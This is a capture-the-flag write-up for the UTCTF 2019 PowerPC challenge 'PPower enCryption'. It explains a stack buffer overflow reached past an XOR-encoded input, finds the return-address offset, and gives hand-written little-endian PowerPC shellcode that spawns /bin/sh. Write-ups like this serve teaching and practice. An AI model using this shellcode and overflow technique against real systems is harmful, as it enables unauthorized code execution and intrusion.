UTCTF 2019 - PPower enCryption (1150pt)
PowerPC Shellcode
March 10, 2019
exploit
PPower enCryption (1150pt)
Exploitation
Description: nc stack.overflow.fail 9001
Files:
Solution
The challenge binary is a 64-bit PowerPC little-endian ELF. It appears to be some sort of echo service when we run it:
This is the UT encryption service.
We take your strings and make them into other strings!
Enter a string
After giving input:
This is the UT encryption service.
We take your strings and make them into other strings!
Enter a string
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
31
Here's your string: aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa c1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
So there seems to be a fixed length buffer and our input is being corrupted in some way.
Some simple reversing reveals that the program consists of the following steps:
- Read 1000 bytes into a global buffer (at address:
0x100d2b40
) - Call
strlen
on this buffer and XOR that many bytes with0xcb
- Copy 1000 bytes from the buffer to a stack buffer of size 104
- Print some stuff
So there is a clear buffer overflow possibility here with some slight modification to our input buffer. Luckly NX was not enabled so we should theoretically be able to overwrite the return address with the address of our global buffer and craft some shellcode.
Not knowing much about PPC stack frames, I brute forced several overflow offsets and found that the buffer overwrite the return address after 152
bytes.
Initially, we tried adapting existing PPC shellcode instead of writing our own. However all of the shellcode online was created for big-endian systems and while it was possible to adapt it, we were running into strange issues. Eventually, I just caved and wrote my own shellcode.
In order to get a shell, we need to call execve("/bin/sh", 0, 0)
. In PPC calling convention, the following registers need to be set:
r0
:11
(syscall number)r3
->"/bin/sh"
(first arg)r4
:0
r5
:0
Then we do a sc
instruction and get a shell.
Here was my final shellcode:
li 6, 16 ; r6 = 16 (for shift later)
li 0, 11 ; r0 = 11 (syscall_execve)
xor 3,3,3 ; r3 = 0
li 3, 0x100d ; load upper 16 bits of string address
sld 3,3,6 ; shift to high bits
addi 3, 3, 0x2b64 ; load lower 16 bits
xor 4,4,4 ; r4 = 0
xor 5,5,5 ; r5 = 0
sc ; do the syscall
.long 0x6e69622f ; "/bin/sh\x00"
.long 0x68732f